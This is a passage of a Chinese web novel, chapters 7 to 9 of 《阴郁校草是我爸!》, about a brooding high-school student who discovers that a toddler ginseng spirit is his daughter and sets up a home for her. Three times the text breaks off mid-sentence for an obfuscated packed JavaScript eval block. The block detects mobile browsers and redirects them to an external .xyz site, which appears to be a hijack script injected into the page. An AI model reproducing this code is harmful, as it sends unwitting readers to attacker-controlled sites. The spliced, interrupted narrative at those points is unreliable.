《阴郁校草是我爸!》 7. 07 周六一早邱明拎着两大袋早餐敲开对门:“早啊砚哥,一块儿吃点啊。” 听见响动,熹熹从卫生间跑出来,嘴角上一圈牙膏沫,乖巧喊人:“哥哥早上好呦。” 一眨不眨盯着他手里的早餐。 邱明乐呵呵的招呼俩人过来吃早餐,他看见裴以砚扫熹熹一眼,语气像个严苛的老父亲:“嘴巴擦干净。” 小丫头白他一眼,哼唧着随手抹了抹:“男人就是麻烦。” 裴以砚:“……” 邱明:哈哈哈哈哈! 邱明抖着肩膀笑成一团,裴以砚转头死亡凝视:“很好笑?” “没没没。”邱明狗腿的打开袋子摆好早餐,“我叫了九点的顺风车,还有四十分钟的时间,肯定来得及。” 熹熹有晕车的毛病,裴以砚担心她吐车上,不敢让她吃太饱。 估摸着有六分饱就收拾东西出门,看着他手里的大包小包,小孩儿童眸明亮:“我们是不是要搬家啦?” 裴以砚闷头走没搭腔。 邱明怪不忍心的,他摸摸她头:“不是搬家,是带你去找个好玩儿的地方。” 在裴以砚身边呆了好几天,熹熹几乎没出去玩儿过,小人参精都快呆的发霉了。 乍一听出去玩儿那反应像小狗一样热烈。 三人坐上前往市里的车,路上裴以砚就收到了电子版亲子鉴定报告,出于对结果的自信,他没拆开看。 今天去市里主要是送熹熹去福利院,他提前了解过,那家福利院是市里环境最好的一所。 小孩儿去那儿生活会比留在他身边好很多。 裴以砚领了亲子鉴定报告出来,邱明凑上来问:“砚哥,结果咋样?” “那还用问,当然不是我的种。” 意料中的结果,邱明内心有一丢丢失望,不过来都来了,还是看看吧。 “我来看看。”他接过文件袋,一目十行的翻看。 越看表情越不对劲,从兴致勃勃到瞳孔地震只需要一句话。 [经我中心鉴定,依据现有资料和DNA分析结果,支持D2115为D1625生物学父亲,确认血缘关系。] 裴以砚嫌弃:“干什么,别露出这副蠢兮兮的表情。” 邱明合上嘴巴,眼神幽幽:“砚哥,人证物证俱在,你还要狡辩到什么时候。” “?”裴以砚皱眉,“有屁快放。” 邱明:“熹熹就是你的孩子。” 他将状况外的熹熹往他怀里一塞:“你得负起爸爸的责任。” 裴以砚正要发作,求生欲强烈的邱明亮出鉴定报告最后一页:“你自己看看。” “……” “不可能!”裴以砚使劲揉了揉眼,拒绝相信:“这一定是搞错了!” 他一个处男怎么可能有孩子?而且孩子还那么大,他有没有和人发生过亲密关系,他自己能不知道吗? 总不能莫名其妙的凭空多了个孩子吧! 裴以砚激烈的反应,引起了工作人员的注意,得知他质疑结果的真实性,中心负责人当场决定为他免费再做一次。 保险起见,裴以砚还带着熹熹去了另一家鉴定中心,两家同时进行,他就不信还能出错。 依旧是快马加鞭,这次缩短至一天时间,两天后裴以砚收到了两份结果一样的亲子鉴定报告。 他和熹熹确认为生物学上的父女关系。 ——花季少男裴以砚的天塌了! 没人可以让暴躁阴郁的少年低头,但三份亲子鉴定报告可以。 邱明同情的拍拍裴以砚肩膀:“砚哥,认清现实吧。” 裴以砚咬着牙,扭头看向一旁抱着手机嘎嘎傻笑的熹熹:“你妈妈是谁?叫什么名字?” 熹熹大眼睛圆溜溜:“妈妈是你老婆呀。” “爸爸,你怎么连这个都忘了。”小奶音不可置信,“妈妈知道了肯定要拿小棍子抽你大屁股了呦。” 邱明:! 还有这种事儿呢?? 他没绷住笑场:“鹅鹅鹅鹅!” “……”裴以砚额角青筋突突跳,用力瞪他一眼,内心充斥无法跟小孩儿沟通的无力感。 他挣扎许久,才第一次正视和自己共用一张脸的小孩儿,随后慢慢陷入茫然中,他当爸爸了。 就那么毫无准备,毫无防备的有了个和自己血脉相连的孩子,简直跟做梦一样。 所以,他是在什么时候,和谁发生了亲密关系? 裴以砚脑袋空空,全无头绪。 无论怎么震惊或是匪夷所思,他有孩子已经是铁板钉钉上的事实,他只能捏着鼻子认了小孩儿。 再面对熹熹时,他的心态发生翻天覆地的变化。 父女俩手艺活不太行,扎不好头发,熹熹每天顶着鸡窝头跑来跑去,有强迫症的老父亲怎么看怎么不顺眼。 “把头发剪了,就带你去吃肯德基。” “不要。” 小丫头前脚斩钉截铁拒绝,后脚又腆着小脸说:“爸爸,熹熹要吃炸鸡。” “呵,吃屁。” “爸爸吃屁,熹熹吃炸鸡炸鸡炸鸡!” 小孩儿闹起来没完没了,裴以砚只觉得脑袋里装了个喇叭,吵得他头皮发麻。 “吃吃吃,你闭嘴。” 帅气男高爆改单亲爸爸,裴以砚一晚上辗转难眠,控制不住的冒出各种想法。 现在住的地方太小了,一直睡沙发太憋屈,养小孩儿起码要三室一厅。 一间当儿童房,一间他的卧室,一间书房。 百草县不是什么大都市,房价相对便宜,算上装修八十万足够买下一百三十平的三室一厅。 但他没时间等装修,要买的话就买可以直接拎包入住的大平层。 犹豫了一秒,裴以砚决定把创业启动金拿来买房子。 做好计划他不禁心底一松,脑袋一歪睡了过去,第二天起来顶着老吕的狂风骤雨请了两天假,然后带着熹熹到处看房子。 兄妹既视感的父女俩像极了不好好读书,旷课出来闲逛的叛逆少年。 好几个卖房中介懒得搭理他们,裴以砚冷笑着想骂人。 最后还是一名刚入职的小姑娘自告奋勇,陪着他们跑遍了所有楼盘。 “这边是新开放的小区,绿化做的非常好,附近也很交通便利,一百米外就有两所小学,一所高中,对面有一家大型超市,紧挨着右边有个免费开放的小公园,每天没事儿可以进去散散步。” 这是最后一个房源,房产销售小姑娘没指望两个学生样的小孩儿开单,当出来透气闲逛了。 房子南北通透,光线好的要命,坐在飘窗边就能吸取日月精华,而且这里相对其他小区草木旺盛,对需要勤勉修炼的小人参精宝宝非常友好。 “喜欢吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14428130|153812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “喜欢喜欢!” “那就这里吧,多少?” “……嗯?”房产销售小姑娘以为自己听错了。 裴以砚懒散的重复一遍。 对方:“!!!” 扬起专业的灿烂笑容:“这里的地段和采光都是优中选优,而且是三室一厅的精装房,所以价格会稍微高一些,全价九十八万,贷款的话——” “给。”干脆利落的递卡动作,淡声,“全款。” 对方:??? 啊啊啊啊她开单了!! 房子是当天买的,人是第二天住进去的,买完房裴以砚卡里就剩五万块。 突然的拮据让他感到久违的紧迫,赚钱迫在眉睫。 “砚哥,你这搬的也太突然了吧。”免费劳力邱明边转悠,边羡慕的啧啧叫,“不过这地方确实大啊,敞亮啊,对门那户空着不?” “现在还空着,以后不知道。” 邱明:“那我得抓紧时间搞钱!砚哥,你那些书再借我看看呗。” 裴以砚心不在焉点头,全神贯注的给小孩儿扎了个歪歪扭扭的小揪揪。 邱明笑了,养崽快一周了,手艺还是这么惨不忍睹,原来大佬也有不擅长的领域。 幸好熹熹靠脸撑起了所有。 小团子站在全身镜前美滋滋:“嘿嘿,今天的熹熹比昨天又漂亮了一点。” 裴以砚见状从鼻腔里发出一声轻哼,臭美。 新家什么都没有,打扫了下房子后,三人一起出门采购家具和生活用品。 不当家不知柴米贵,裴以砚这些年一人吃饱全家不饿,采购一次才发现那些随处可见的东西价格不菲。 两张床和一套沙发、餐桌就花掉了三万多,本就不富裕的家庭雪上加霜。 看着银行卡里一万多的余额,裴以砚默默勒紧了裤腰带。 儿童沐浴露,儿童洗发水、牙膏、牙刷、毛巾、洗澡盆、拖鞋、睡衣来一套。 逛到家居分区熹熹一眼看上了一套草莓熊床上四件套,带着白色蕾丝边那种,可可爱爱倒是和她蛮搭。 还有绿豆色窗帘、卡通小狗抱枕、花花绿绿的壁画、绿油油的盆栽,一切生机盎然的色彩填充进了他们的新房。 新家的温馨布置和裴以砚一贯的暗沉阴森风格彻底割席。 裴以砚和邱明吭哧干活,熹熹趴在柔软的新沙发里看平板,客厅里时不时响起银铃般的笑声。 邱明幸灾乐祸调侃:“砚哥,家里多了个小公主,以后你家可热闹咯。” 裴以砚看他一眼,轻嗤。 她哪是公主,明明是女王,一言不合就拉响防空警报,独断专横的很。 俩人进去铺床的功夫,裴以砚放在桌上的手机嗡嗡震动。 没一会儿,小丫头举着手机噔噔噔跑去卧室,中气十足的喊:“爸爸,有阿姨找你!” 裴以砚一激灵,无语抬眸:“别嚷嚷,我不是聋的传人。” 他接过手机,看清来电人的一刻,血凉了下。 周薏,他妈妈。 “小砚?” “……嗯,是我。” “小砚,你最近是不是身体不舒服?” 裴以砚成绩差归差,但还算安分守己,很少迟到早退,请假旷课少之又少。 这次他连着四天没来上课,答应周一要来又放了老吕鸽子,老吕忍无可忍给周薏打了电话。 8. 08 这通电话来的突然,倒完全在裴以砚的意料之中。 他靠坐床沿,脖颈微扬,望着窗外的碧蓝天空语调平淡:“是有点不舒服,我过两天就回学校。” “有没有去医院看一下?医生怎么说?”周薏登时语气紧张,大儿子从来报喜不报忧,忽然说不舒服肯定是有些严重了。 “小感冒而已,好的差不多了。” “那哪行。”周薏声音温柔,“妈妈再帮你请三天假,你好好休息,缺什么和妈妈说。” 裴以砚应的爽快,省得他再和老吕掰扯。 周薏絮絮叨叨叮嘱了很多,最后问:“对了,刚才那个小姑娘是?” “邻居小孩儿。”裴以砚眼也不眨,“年纪小叫着玩儿的。” 电话那头沉默了下,周薏慢慢说:“你岚姨没有二胎。” “……”对了,他邻居是邱明。 裴以砚镇定道:“就是路过的小孩儿。” 路过的小孩儿能替他接电话,还叫他爸爸。 敷衍蹩脚的理由引起周薏不好的诧异,预感不对正要说什么,裴以砚就听到电话里有小孩儿的喊叫。 少年神色顷刻间冷淡。 周薏捂住话筒扭头训斥了句什么,转头温声歉然:“小砚,那你先好好休息,妈妈不打扰你了。” “嗯。” 挂了电话,裴以砚果然收到银行卡到账提醒,周薏给他转了两万块。 五年前周薏在京市站稳了脚跟,开了一家私人美容院,收入可观,每个月给他的零花钱都是一万打底,力求让他吃喝不愁。 这样大方的生活费在同龄人里凤毛麟角,而裴以砚花钱的地方不多,多数都攒了起来。 后来他开始学习炒股,有赔有赚,不然也没钱全款买房。 周薏的两万块解决了他的燃眉之急。 他准备找一个保姆照顾熹熹,学校不能不去,他暂时不想周薏知道她喜当奶奶的事。 现阶段至少要把高中读完,拿到高中毕业证书。 时间紧迫,当天裴以砚就联系上了家政公司,唯物主义少年第一次信起了玄学,他不仅看履历,还看面相。 眼神精明犀利的不要,嘴唇太薄的不要,吊梢眉的不要。 面相不好的通通pass,千挑万选,最后熹熹看中了快餐店里的打菜阿姨。 打菜阿姨一个月工资两千五,裴以砚开七千,朝七晚五,包三餐。 在人均收入三千块的小县城,这绝对算高薪,阿姨当场辞了工作转投父女俩怀抱。 刘姨充分诠释了相由心生,为人老实勤快,身体健康,手脚干净,眼里有活儿,做的一手好菜。 敲定好保姆的人选,裴以砚将买好的五个摄像头全部装上。 卧室三个,厨房、客厅各一个,摄像头三百六十度无死角旋转,高清到头发丝儿都能看见。 他随时能在手机里看到实时画面。 解决完当务之急,裴以砚紧绷的神经松了下来,接下来就是重点项目。 赚钱,养崽。 裴以砚第一次觉得钱是香饽饽,抱着电脑敲了一晚上代码。 他设计了一款程序小游戏,模式多样,难度对大学生群体刚刚好,上线后应该可以赚点生活费。 裴以砚忙完抬起头,时针指向凌晨三点。 眸光一转,腿边贴着个热乎乎的小团子,新家暖气充足,熹熹身上就盖了条小毯子,两边肉嘟嘟的脸颊粉扑扑,很好捏的样子。 裴以砚捏了把,手感软糯有弹性像极了秋秋糖。 他捏了好几下小丫头只是皱眉哼唧了下,又继续睡。 “这都不醒。”情不自禁唇角上翘,“小猪成精。” 他长臂一捞把小孩儿夹在胳膊下溜达进卧室,打着哈欠躺下给她盖上被子。 睡到半夜裴以砚被咚的一声惊醒,下意识摸向床边,空的。 他猛地翻身坐起来:“熹熹?” “呜哇——” 床底下摔懵的小丫头捂着脑门儿哇哇大哭。 还在,没丢,裴以砚提到嗓子眼儿的心放下一半,他摸黑打开灯。 下床把小孩儿拎起来,凑近瞧,嚯,好大一个包。 “痛!” 熹熹额头鼓起一个红肿的大包,疼的泪眼汪汪,鼻涕泡一鼓一鼓。 “睡觉老实点,瞎滚什么。” “呜呜呜,要抱!” 熹熹委屈的一个劲儿往裴以砚怀里钻,整个崽像只八爪鱼紧扒在他身上。 裴以砚单手托住崽,一手从床头柜里翻出跌打药酒。 瓶盖一拧开,刺鼻呛得熹熹干呕:“这……yue,什么东西这么臭啊?” “药酒,你别乱动,擦点马上就好。” “!” “爸爸要把臭臭的东西擦在熹熹额头上?” 冷酷的小父亲:“当然。” 熹熹脸绿了,手脚狂蹬:“不要不要,熹熹不要擦!” 她不想变成臭臭的人参精宝宝。 小孩儿挣扎的厉害,裴以砚怕擦到她其他地方,停下来试图讲道理:“不擦怎么好,你想明天顶着大包出去玩儿?” “那怎么可能。” 小丫头已经忘记了哭,义正严词的说:“熹熹自己有办法治,你放我下来。” 裴以砚松手,扬眉看她能整出什么花样。 “呸呸。”熹熹往手心吐了两口唾沫。 “……” 小手互相搓了搓,把搓热了的口水抹到了包包上。 裴以砚感觉自己的眼睛受到了霸凌,用一言难尽的表情问:“这就是你的办法?” “昂。” “我们人参精宝宝的口水能消肿止痛,眼泪能美白祛疤,可管用啦~” 摔成这样了还不忘沉浸式角色扮演。 裴以砚佩服的点了点头:“随你,明天别哭着回来就行。” 熹熹软哼:“才不会呢,臭粑粑。” 担心小孩儿又摔下床,后半夜裴以砚直接把小孩儿圈在臂弯里,免得她再滚来滚去。 这样黏黏糊糊的睡觉方式,本以为他会睁眼到天亮,谁知他沾床秒睡。 轰隆隆的呼噜声回来荡。 熹熹:…… 两侧头发化成人参须拧成耳塞,好了,世界清净了。 一夜无梦。 第二天天微亮,小丫头还在房间里熟睡。 裴以砚下楼买了早餐上来,刘阿姨也正好来上班,俩人跟交接班一样。 年轻的小爸爸嘱咐让她等熹熹睡醒了,把早餐热一遍,然后就抓起书包上学去。 出门就打开监控画面观看,一路看到进学校才收起来。 少年披着清晨的光进入教室,本就帅的出类拔萃,这幕更是给人一种一眼万年的震撼。 嘈杂的教室因为他的出现而静了三秒。 “他怎么回来了,论坛不是说他被星探看中拍戏去了吗??” “啊啊啊感觉比上周更帅了!” 裴以砚性格孤僻,沉默寡言,在班里除了邱明,没有其他朋友。 他消失一周别人都以为他是转校或者退学,流言蜚语随着他的回归消散。 早读结束有十分钟休息时间,裴以砚趴在桌子上补觉。 熟知内情的邱明悠悠感叹,单亲爸爸不容易啊,瞧给他砚哥熬成啥样了。 诶嘿,幸好他守男德,老话说的没错,贞操是男人最好的嫁妆。 “我十岁才和我妈分床睡的,一个人睡老感觉房间里到处都是人,根本睡不踏实。” “太早分床睡小孩儿容易缺乏安全感,长大以后可能自卑敏感。”女孩儿轻声细语,“最怕的是半夜有人偷孩子。” 某个初为人父的少年弹起,幽深锐利的黑眸噌地睁开。 女生们背后仿佛阴风吹过,莫名起了身鸡皮疙瘩。 讨论声低了下去。 “你是说半夜有人偷孩子?”头顶冷不丁的询问幽沉冷肃。 闲聊的女生们:! 笼罩在裴以砚阴影下的孟栀摇心脏咚咚直跳。 他离她太近了,近到她抬眼就能看见他硬朗的下颚线,滚动的喉结,他应该不喷香水,身上却有股好闻的淡香。 “嗯……” 孟栀摇紧张的忘了呼吸:“某些老小区治安不好,上个月有贩子趁夜潜入居民家里偷孩子的新闻。” 不知道是哪句话说的不对,她看见对方的脸色突然阴沉,山雨欲来的可怕。 她咬了咬唇,指尖不禁揪住衣摆。 “我知道了。”消化片刻,裴以砚眉眼淡淡:“你刚才说小孩儿不能太早和家长分床睡,是真的?” “啊,是、是这样没错。” 没想到她们的闲扯全被他听了进去,孟栀摇红着脸:“我表妹就是因为太早自己睡,有段时间经常做噩梦惊醒……” 裴以砚眉头皱成川字。 昨晚小孩儿从床上摔下来后,后半夜就睡的不太安稳,一直哼哼唧唧,会不会已经有心理阴影了。 小孩儿怎么那么金贵。 “裴……裴以砚,你家有弟弟妹妹啊?”孟栀摇实在的好奇,壮着胆子问。 “没有,我随便问问,谢了。” 孟栀摇挽唇:“没关系,一点小事,不用谢。” 一到下课裴以砚就调出监控画面看。 终于碰见小丫头打着哈欠起床,一路游进卫生间,站在小凳子上刷牙洗脸。 吃完早餐乖乖洗手,爱干净这点和他很像。 饭后阿姨给她梳了个整齐漂亮的小揪揪,然后开启吃喝玩乐的一天。 裴以砚不得劲的蹙眉。 这些天他带她吃大鱼大肉,也没亏待她,怎么就是不长肉。 瘦巴巴的,跟没吃饱饭饿的一样。 他都感觉自己长胖了些。 新手爸爸百思不得其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14428131|153812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解,想了想,他重新望向隔壁孟栀摇:“你妹妹胖不胖?” “……” 女孩儿软而亮杏眸透出茫然:“还好……肉乎乎的很可爱。” “她吃了什么长的肉乎乎?” 前桌邱明一脸见鬼的震惊:“???” 哥,不会撩妹别硬撩啊。 孟栀摇努力回忆妹妹的伙食,温吞的说:“肉、蛋、奶、蔬菜、钙片,还得多运动多喝水,身体健康就会肉乎乎。” 裴以砚茅塞顿开。 肉、蛋、蔬菜有,奶和钙片没有,怪不得不长肉。 找到了问题的源头,裴以砚开始在网上搜索儿童钙片。 跳出来一堆五花八门的牌子又让他陷入为难,要买哪种钙片? 他不得不再次求助:“哪种钙片好?” “我小姨是在母婴店里买的,具体的牌子得晚上回家问问。”孟栀摇弯了弯眸,“回头告诉你。” 裴以砚今天和她说的话比前两年加起来的还多。 所有人都看出来他的反常,但并不惹人厌,反倒叫人觉得亲近。 隔了会儿,他又问:“只只,是你吗?” 孟栀摇细瘦的脊背绷了下,心怦怦跳,嗓音轻若蚊虫:“嗯。” “我加你微信了,麻烦晚上你发给我。” “好……” “谢了。” 两人短暂的互动被全班人看在眼里。 没有裴以砚和老吕的班级群炸锅,七嘴八舌议论起这件事来。 学习委员孟栀摇是众多男生的梦中女神,长得漂亮,温柔明媚,唯一美中不足的是患有先天性心脏病。 她是学校出了名的病弱美人,从不参与任何班级活动,多数时候见不到她的影子。 所以即使暗恋者无数,也无一人抱得美人归。 她和裴以砚唯一共通之处就是不参与晚自习。 裴以砚是因为成绩太烂救不起来,加上腿上有残疾,来回走动不方便,故而学校对他睁一只眼闭一只眼。 病弱美人和阴郁校草,乍听之下好嗑的一批,可一看裴以砚右腿假肢,顿时萎了。 脸再怎么好看也弥补不了他残疾的事实。 群里充斥着嘲讽裴以砚的风凉话,而事件中心的男主忙着货比三家。 小孩儿老抱着平板不撒手,他可不想有个三岁的四眼仔女儿。 校草爸爸肉痛下单了一台电视机。 同城送货上门只需要两个小时,安上电视机后,空旷的客厅一下就热闹了。 视频里小丫头高兴地直蹦,无师自通地对着摄像头飞吻。 “爸爸好棒,爸爸最好啦,mua~” 高冷的校草爸爸绷住脸。 他绝对不会被这点小伎俩钓成翘嘴。 * 放学铃响,校门口涌出一波又一波学生,转眼人流如潮。 “摇摇,裴以砚真的加你微信了?快让我看看,他朋友圈都发了什么。” 女孩儿马尾尖儿漾出轻快的弧度,闺蜜程小岑挽着她手臂神色八卦。 孟栀摇还有种在做梦的不真实感。 她微微低着头,雪白细嫩脖子泛着粉红:“嗯,刚加上。” 在程小岑的注视下,她打开了裴以砚的朋友圈,空荡荡一片,什么都没有。 程小岑大失所望:“啊,怎么什么都没有啊。” 孟栀摇不意外的收起了手机:“我倒觉得蛮正常,他不像是会发朋友圈的性格。” 程小岑揶揄:“哟,这才加上呢,怎么就一股小新婚夫妻的味道啦。” 孟栀摇连忙捂住闺蜜的嘴巴,慌忙的看了眼四周,耳垂通红:“你别乱说,我们就是普通同学。” “那不一定,你估计是全校第一个加到他微信的人,还是他主动加的,意义大不一样啊。” 女孩儿们嘻嘻哈哈走远了。 不远处一辆小车上跳下个糯米团子,轻车熟路摸到校门口。 三岁的熹熹来接爸爸放学啦。 叉着小腰的幼崽像个大人卖力挥手:“粑粑,这里这里~” 什么怪腔怪调。 裴以砚正气凛然,目不斜视,低头走的迅速。 邱明跟着裴以砚狂笑着过来:“乖侄女,你粑粑来咯。” 裴以砚面无表情捶了他一拳。 “抱。” 熹熹熟练张开手臂。 众目睽睽之下,裴以砚感觉怪肉麻的,于是冷酷拒绝。 熹熹踮起脚,不依不饶。 “不许这么黏人。”年轻的爸爸嘴上说着,动作却不含糊。 小团子搂住他脖颈,逮住他一顿猛嗅,雀跃的露出两粒小奶牙:“爸爸,你是不是找到妈妈了?妈妈在哪里?” 裴以砚满头拔都不拔不掉的问号。 “我哪知道,我不认识你妈。” “还想骗熹熹,你身上明明有妈妈的味道,香香哒~” 9. 09 裴以砚不耐的看向邱明:“我身上有味道?” 邱明耸着鼻子嗅了嗅,诚实的点了点头:“有。” “什么味?” “洗衣液的味道。”邱明想了想挠挠头,笑的殷勤,“砚哥,你换什么洗衣液了,挺香啊,什么牌子的?” 裴以砚面无表情地盯他:“换毛线。” 怀里的小屁孩还在问妈妈,裴以砚自顾自走到小吃摊前,烤肠浓烈的香气窜入鼻尖,令人食指大动。 小孩儿的追问戛然而止。 “老板,要三根烤肠,两根中辣,一根不要辣,打包谢谢。” 熹熹眼巴巴等在一旁,邱明偷偷朝裴以砚竖起大拇指。 厚脸皮的夸这招注意力转移大法用的妙啊,深得他真传。 岚姨要上半个月的夜班,厂里包晚饭,邱明回家要么随便对付一顿,要么点外卖。 这两天刘姨做饭他跟着蹭吃蹭上了瘾,不用裴以砚招呼,他相当自觉地跟了过去。 两大一小叼着烤肠回家,一进门客厅里的大电视机存在感十足,邱明惊讶地张了张嘴: “砚哥,那游戏你卖了啊?这大电视得万把块钱吧?” 裴以砚放下崽和书包,大马金刀往沙发一坐,捏了捏眉心:“没卖,电视机买的便宜货。” 邱明看着官网标价五千的电视嘴角抽了抽。 五千也叫便宜货,真是壕无人性啊。 熹熹拿着遥控器跑来,像一只摇着尾巴的小猫咪:“爸爸,开。” 裴以砚用遥控器操控屏幕,新电视机使用起来就是丝滑。 小丫头指着几只狗子封面喊:“就是这个,熹熹要看这个!” [汪汪队汪汪队 …… 出现冒险湾 莱德狗狗小队 出动不困难——] 随着活泼的开场曲播放,熹熹站在沙发上又蹦又跳:“毛毛!小砾!阿奇!” 小丫头一整个目不转睛,嘿咻嘿咻打着节拍,小精灵一样快乐。 邱明扶额,用‘果然如此’的语气感叹:“不愧是汪汪队立大功,我弟就喜欢看这个。” “这个很火?”裴以砚问。 “没看过的小朋友相当于没看过西游记,那是会被朋友圈鄙视的,你说火不火。” 裴以砚不禁正视起正在播放的动画,逐渐面露迷惑。 他小时候看的都是名侦探柯南、铁甲小宝一类的热血番。 再不济也是大名鼎鼎的《猫和老鼠》,没感觉《汪汪队立大功》有什么亮点,可能是画面好看吸引小屁孩? 邱明瞄他,笑了下:“砚哥,你知足吧,起码熹熹不看粉色吹风机一家。” “那是什么?” “小猪佩奇啊,你不会又没听过吧?” “没。”裴以砚淡淡道,“我又没弟弟,不用给弟弟洗尿布。” 邱明:“……”怂怂的撇嘴,那你不还是女儿奴嘛。 俩人无聊的陪小孩儿看了会儿动画片,开头一百二十秒的广告,中间时不时穿插一个广告,正片不到十分钟。 因为充没有会员,熹熹只能看免费的前三集,小丫头竟然也不哭不闹,仍然津津有味。 裴以砚没忍住当场充了三个月会员。 成为尊贵的VIP会员,广告没了,还解锁了全集。 熹熹惊喜的咦了下,杏眼圆圆:“爸爸,毛毛换新地图啦。” “嗯。”裴以砚下巴轻扬,“解锁了会员内容,你现在是VIP。” “什么挨批?” “没什么,记住你现在是有身份的人,免广告,想看什么看什么。” 平生第一次让视频平台赚到他的钱,裴以砚环臂心道,吞金兽名不虚传。 也不是毫无回报,只不过那回报质朴无华,他在熹熹心底的形象一下拔高,光岸伟大,财大气粗。 刘姨下班前把晚饭都准备好了,裴以砚摆好碗筷,三人吃围坐吃晚饭。 熹熹没有专门的儿童座椅,筷子使用的不够熟练,饭菜掉的到处都是,每次打扫都让裴以砚头疼。 今天吃饭熹熹不知道从哪儿掏出个小饭兜,熟练戴在脖子上。 没夹稳的饭菜就直接掉进饭兜里,地上比平时干净许多。 裴以砚目光微异,问:“脖子上那玩意儿刘姨买的?” “对呀。”熹熹用力点了点头,奶声奶气炫耀,“刘姨带熹熹去菜市场,熹熹自己挑的兜兜,上面有蘑菇姐姐的图案呦,好看叭?” 饭兜上印着两颗红伞伞白杆杆毒蘑菇,形象经过卡通化没那么渗人,她既然认得那蘑菇,应该经常有接触。 裴以砚望着面前活蹦乱跳的小不点,心底五味杂陈,暗自低哼,命硬的丫头。 “爸爸,你怎么又不理我,好不好看呐?” “还行。” “不行,你要说好看。” “臭美。” “是好看!” 裴以砚懒洋洋吐出几个字:“嗯,好看。” 熹熹心满意足喂自己一大口饭。 高冷爸爸打开淘宝,他对养崽了解的还是太少了,儿童餐具这么重要的东西都没想到。 儿童训练筷,这不是瞌睡来了送枕头,买。 儿童分格餐盘,好像也挺有用?买。 不锈钢双层防烫宝宝辅食碗,宝宝自主进食辅食勺子,上手就会,轻松学食,买买买。 儿童餐具造型一个赛一个花里胡哨,广告语标题要多长有多长,新手爸爸犯起了选择困难症。 邱明脖子长,头一歪就看见了:“砚哥,给熹熹买东西呢啊。” “随便看看。”裴以砚不置可否。 “森莫森莫?给我看看,熹熹也要看!” 裴以砚身侧多了两个脑袋,小丫头看图识字,对可爱的东西完全没有抵抗力,要这要那的。 “只能选两个,不许多选,也不许同样款式买两个。” “啊,就两个……” “你就一张嘴,用得着三个饭碗?” 小孩儿那点饭量裴以砚都懒得说了。 “用得着呀。” 熹熹伸出三根胖嘟嘟的手指,葡萄眼里盛着渴望,软声求道:“熹熹要三个碗,爸爸,三个好不好?” 棉花糖一样软糯的语调舒服进人心里。 裴以砚却像尊千年不化的雪山岿然不动,看得邱明干着急,实在不行这个爸爸换他当吧! “可以,不过你要做到一件事。” 还不知爸爸身份被觊觎的裴以砚开口:“不能剩饭,不能挑食,做得到吗?” 小姑娘目前没有挑食的迹象,就是饭量小,注意力不集中,经常吃着饭就玩儿了起来,然后碗里剩饭。 他这是未雨绸缪,提前打预防针。 “嗯嗯!做的到~”熹熹点头如捣蒜。 裴以砚放手:“挑吧。” “熹熹要这个。”小姑娘喜上眉梢,飞快点了下屏幕,“还有这两个。” 屏幕上是放大了的绿色小恐龙、红色小螃蟹、黄色长颈鹿饭碗,有配套的勺子和筷子,材质耐摔防烫。 眼光不错。 裴以砚顺畅下单,付完款底下冒出一堆相关推荐,他没多看的退出。 “咦。” “妈妈怎么在这上面?” 婴儿肥小手横在手机上方,是熹熹的迟疑声音:“不对不对,妈妈的叶子更宽更长,花花也更加漂亮。” 裴以砚拨开小孩儿的手,屏幕里赫然是一株金银花。 断肠草是毒草,淘宝自然不会售卖这类违禁品,但他曾经在百度上搜过断肠草相关资料,大数据捕捉且记录下后人性化的给他推荐了和断肠草外形相似的金银花。 断肠草并不特指某一种草药,而是泛指服用后对人类肠道产生剧毒反应的草药,譬如钩吻、大茶药、山砒霜、狼毒草等等。 其中钩吻和金银花同样长有细长嫩黄的花朵,不注意看确实容易混淆。 所以那小丫头的妈妈是在山上种草药的药农?毒蘑菇也只能出现在山上,百草县好像是有药农的,在哪里来着? 裴以砚静静发散思维。 这时,界面上方跳出一条微信消息。 只只:【在学校忘了问,小朋友多大?】 只只:【我表妹今年七岁,每个年龄段吃的钙片都不太一样,(*^▽^*)】 裴以砚眼睫轻扫,思索了下,打开聊天界面:【三岁。】 对方像守在手机边,回复的迅速及时:【我表妹在这个时期吃的维德钙片,吃了两年,母婴店地址是这里。】 对方发来的地址在萍水市高级商场里。 有些远。 买车也得提上日程了。 【正好这周末我陪我小姨去市里,不介意的话,我可以帮你带回来,^_^】 裴以砚:【不用了,谢谢。】 本就已经欠了人情,他不想欠更大的人情,人情最难还。 幽静精致的三层小洋楼里,白裙少女坐在钢琴前,黝黑的小鹿眼没有因为对方的拒绝而漫出失望,她将聊天界面上的寥寥数语反复看了好多遍。 悠扬恬静的乐曲从女孩儿指尖倾泻,填满空旷的琴房,而她唇边漾出的清浅笑意如三月的风,温柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14428132|153812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恬淡。 